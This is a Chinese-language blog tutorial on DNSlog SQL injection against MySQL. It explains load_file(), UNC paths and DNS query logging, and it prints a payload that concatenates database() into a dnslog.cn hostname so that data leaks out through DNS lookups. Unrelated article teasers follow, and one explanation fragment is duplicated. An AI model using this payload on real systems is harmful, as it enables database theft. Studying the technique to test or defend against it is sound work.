DNSlog注入原理

news2024/10/8 18:50:49

DNSlog注入

在这里插入图片描述

dnslog注入也相当于盲注的一种,但是比盲注效率高一点。

在一定的情况下,如果我们想对一个网站使用布尔或时间盲注,手动注入会对WAF的绕过会非常有帮助,但是效率不高,因此我们往往会使用SQLmap等工具注入,但是这种工具对很多网站都有限制。这时候就该尝试DNSlog注入。

这种注入方式,相较于布尔或时间盲注而言,好处在于可以一组一组进行测试,不用再一个一个字符进行逐以测试,比其他两个盲注效率要高,但是要求服务器的读写权限都要对MySQL开启,如果没有开启的话,是不能使用这种注入方式的。

load_file()函数

Mysql数据库的load_file()函数不单可以读取本地文件,还可以通过UNC路径访问远程文件

DnsLog注入就是利用load_file()函数访问远程文件的特点,对延时盲注等无回显的注入或其他无回显的攻击带来回显。

例如:

SELECT * LOAD_FILE('/home/username/myfile.txt')

上述 MySQL 命令将读取文件 myfile.txt

MySQL LOAD_FILE 函数需要满足几个条件才能成功执行。

  • 您尝试加载的文件必须存在于运行 MySQL 服务器的同一主机中。例如,如果您的 MySQL 服务器安装在 example.com 上,则文件必须仅存在于 example.com 上。
  • 必须指定文件的完整路径名。因此,如果您的文件位于用户主目录中,假设用户名是 w3r,则必须指定“/home/w3r/somefile.txt”
  • 执行命令的用户必须具有 FILE 权限。您可以使用以下命令向用户授予 FILE 权限:“GRANT FILE on dbname.* TO user@localhost”。
  • 相关文件必须可供所有人读取。如果您尝试加载用户主目录层次结构中不存在的文件,请确保您对该文件具有读取权限。
  • MySQL 服务器有一个 max_allowed_packet 变量。相关文件不得超过该变量中指定的值。您可以使用“显示变量如‘%max_allowed_packet%’;”检查 max_allowed_packet 的值;您必须具有 MySQL root 权限才能执行此命令。您可以在 MySQL 配置文件中更改 max_allowed_packet 的值。打开 my.ini 或 my.cnf 文件,找到 max_allowed_packet=some_value 行并将该值更改为所需的值,例如,如果您想将值设置为 50MB,请写入 50MB。
  • MySQL 有一个 secure_file_priv 变量。如果该变量的值设置为非空目录名,则要加载的文件必须位于该目录中。您可以在 MySQL 配置文件中找到 secure_file_priv 变量及其值,并可以对其进行更改。

UNC路径

UNC (Universal Naming Convention) / 通用命名规则,也叫通用命名规范、通用命名约定

UNC为网络(主要指局域网)上资源的完整 Windows 2000 名称。

1.什么是UNC路径?
UNC路径就是类似\softer这样的形式的网络路径。
UNC为网络(主要指局域网)上资源的完整 Windows 2000 名称。
格式: \servername\sharename ,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。

计算机名称的前面始终使用双反斜线 \\

在 UNC 中,计算机名称又称为主机名称。

对于 UNC 路径,存在以下几条规则:

  • UNC 路径不能包含盘符(如 D)。
  • 不能浏览至共享目录的上级目录。
  • 用于文档和工具的存储相对路径名选项对 UNC 路径不起作用。

DNS解析

网上找到一张解释DNS解析过程非常通透的图片:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

上面这个例子:本地DNS服务器会依次询问 根、.cn、.com.cn、.cloudcrowd.com.cn 逐步获得结果

正常来讲每个查询记录都会在相应DNS服务器上留下相关的查询日志,一般来说企业或者自己部署的DNS在上图标红位置处,可以查到我们的DNS解析记录(我们向谁查了什么样的域名) 简单粗暴一点可以这么理解。

原理

select load_file(concat(“//”,database(),“.dfnyy4.dnslog.cn/123”))

load_file()函数路径用双引号包裹的整体,所以用concat()拼接。

//为UNC路径

.dfnyy4.dnslog.cn为我们通过dnslog获取的网址

DNSlog注入网址

cat()拼接。

//为UNC路径

.dfnyy4.dnslog.cn为我们通过dnslog获取的网址

DNSlog注入网址

导肮链接:https://blog.csdn.net/m0_60571842/article/details/132403032

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2196994.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

十款主流图纸加密软件推荐|有效防止图纸泄密

在设计和工程行业,保护设计图纸的安全性至关重要。随着信息技术的发展,数据泄密事件频发,选择合适的图纸加密软件成为了企业和个人保护知识产权的重要手段。本文将推荐十款主流的图纸加密软件。 1. Ping32 Ping32是一款专注于图纸和设计文件…

「完美收官」科东软件2024上海国际工博会精彩回顾:鸿道操作系统赋能新型工业化

第24届中国国际工业博览会已经落下帷幕。历经24届,工博会已成为全球工业发展的“风向标”。今年的中国工博会以“工业聚能 新质领航”为主题,工业自动化、数控机床与金属加工、新能源与智能网联汽车、机器人等领域重磅展品悉数亮相,展示了中国…

STM32-TIM输入捕获

一、概述 IC(Input Capture)输入捕获 输入捕获模式下,当通道输入引脚出现指定电平跳变(上升沿或下降沿)时,当前CNT的值将被锁存到CCR中,可用于测量PWM波形的频率、占空比、脉冲间隔、电平持续…

Label Studio 半自动化标注

引言 Label Studio ML 后端是一个 SDK,用于包装您的机器学习代码并将其转换为 Web 服务器。Web 服务器可以连接到正在运行的 Label Studio 实例,以自动执行标记任务。我们提供了一个示例模型库,您可以在自己的工作流程中使用这些模型,也可以根据需要进行扩展和自定义。 1…

厨房用品分割系统源码&数据集分享

厨房用品分割系统源码&数据集分享 [yolov8-seg-C2f-DCNV3&yolov8-seg-AFPN-P345等50全套改进创新点发刊_一键训练教程_Web前端展示] 1.研究背景与意义 项目参考ILSVRC ImageNet Large Scale Visual Recognition Challenge 项目来源AAAI Global Al ln…

C++欧拉函数

题目一 求欧拉函数 解题思路 分解质因数&#xff1b;代入公式计算即可&#xff08;注意要防止计算出小数是结果不准&#xff09;&#xff1b; 代码实现 #include<iostream> #include<algorithm> #include<cmath>using namespace std;void Euler(int n) {i…

注册安全分析报告:惠农网

前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 暴力破解密码&#xff0c;造成用户信息泄露短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨大&#xff0c;造成亏损无底洞…

丝杆支撑座预压标准解析

丝杆支撑座预压的主要目的是提高轴的旋转精度、刚性和运行性能&#xff0c;同时防止轴在运转过程中产生震动和异响&#xff0c;从而提高系统的整体精度和稳定性。那么&#xff0c;丝杆支撑座的预压标准是什么呢&#xff1f; 丝杆支撑座的预压可以分为标准型轻预压和标准型重预压…

atcoder-374(a-e)

atcoder-374 文章目录 atcoder-374ABC简洁的写法正解 D正解 E A #include<bits/stdc.h>using namespace std;signed main() {string s;cin>>s;string strs.substr(s.size()-3);if(str "san") puts("Yes");else puts("No");return 0…

SpringBoot Jar 包加密防止反编译

今天看到了一个说明jar包加密的实现方式&#xff0c;特意试了下效果&#xff0c;并下载了插件源码及实现源码查看了下子&#xff0c;感兴趣的可以在最后得到gitee地址。 SpringBoot 程序 Jar 包加密的方式&#xff0c;通过代码加密可以实现无法反编译。应用场景就是当需要把公司…

谈谈电路板中高速电路设计和低速电路设计的区别

谈谈电路板中高速电路设计和低速电路设计的区别 1.高速电路和低速电路的应用场景&#xff1a;1.1.低速电路应用场景1.2.高速电路的应用场景1.3.高速电路设计比低速电路设计强吗 2.高速电路和低速电路的如何区分2.1.Fknee有效频率是什么2.2.区分高速和低速的步骤&#xff1a; 3.…

OpenFeign 工作原理源码记录

文章目录 EnableFeignClientsregisterDefaultConfigurationregisterFeignClients类路径扫描注册 FeignClientregisterFeignClient 总结 FeignClient 接口实例化FeignContextcreateContextthis.configurationsClient FeignBuilderloadBalance 负载均衡实现Targeter 创建接口代理…

JavaScript函数基础(通俗易懂篇)

10.函数 10.1 函数的基础知识 为什么会有函数&#xff1f; 在写代码的时候&#xff0c;有一些常用的代码需要书写很多次&#xff0c;如果直接复制粘贴的话&#xff0c;会造成大量的代码冗余&#xff1b; 函数可以封装一段重复的javascript代码&#xff0c;它只需要声明一次&a…

基于springboot vue地方废物回收机构管理系统设计与实现

博主介绍&#xff1a;专注于Java&#xff08;springboot ssm 等开发框架&#xff09; vue .net php phython node.js uniapp 微信小程序 等诸多技术领域和毕业项目实战、企业信息化系统建设&#xff0c;从业十五余年开发设计教学工作 ☆☆☆ 精彩专栏推荐订阅☆☆☆☆☆不…

JavaScript将array数据下载到Excel中

具体代码如下&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"widt…

centos7安装node18及升级glbic

centos7安装node18及升级glbic CentOS7安装nodejs18及以上版本会报错&#xff0c;glibc版本过低 安装nvm curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.0/install.sh | bash source ~/.nvm/nvm.shnvm install 18 nvm use 18#设置默认版本 nvm alias defau…

2024最新最全:超详细Nmap使用技巧(非常详细)零基础入门到精通,收藏这一篇就够了

这个工具我几乎可以不用介绍了&#xff0c;就算你们没用过&#xff0c;但是每当提起黑客工具大部分都会看到他。Nmap是一款非常强大的主机发现和端口扫描工具&#xff0c;而且nmap运用自带的脚本&#xff0c;还能完成漏洞检测&#xff0c;同时支持多平台。 一、主机发现 1. 全…

数字王国里的虚拟人——技术、商业与法律解读

数字王国里的虚拟人——技术、商业与法律解读 目录 数字王国里的虚拟人——技术、商业与法律解读引言作者解读书籍简介摘抄适用群体小结购书链接 引言 这本书是一本兼具深度和广度的跨专业领域的科普读物&#xff0c;全书以案例形式&#xff0c;用轻松有趣的笔触向读者传递了科…

【网络原理】面试高频考点!!TCP协议“三次握手,四次挥手”,保姆级详解,建议收藏!

&#x1f490;个人主页&#xff1a;初晴~ &#x1f4da;相关专栏&#xff1a;计算机网络那些事 通过上篇文章&#xff0c;我们可以得知TCP通过 “确认应答” 和 “超时重传”机制相辅相成&#xff0c;共同构建了 TCP的“可靠传输机制”。而为了保障建立通信和断开通信的可靠性…

【Orange Pi 5嵌入式应用编程】-用户空间BH1750环境光传感器驱动

BH1750环境光传感器驱动 文章目录 BH1750环境光传感器驱动1、BH1750传感器介绍2、BH1750测量流程及寄存器2.1 BH1750功能结构2.2 BH1750流量流程2.3 BH1750的控制指令2.4 BH1750通信时序2.4.1 连续高分辨模式2.4.2 单次低分辨模式2.4.3 传感器灵敏度调整3、BH1750FVI驱动实现3.…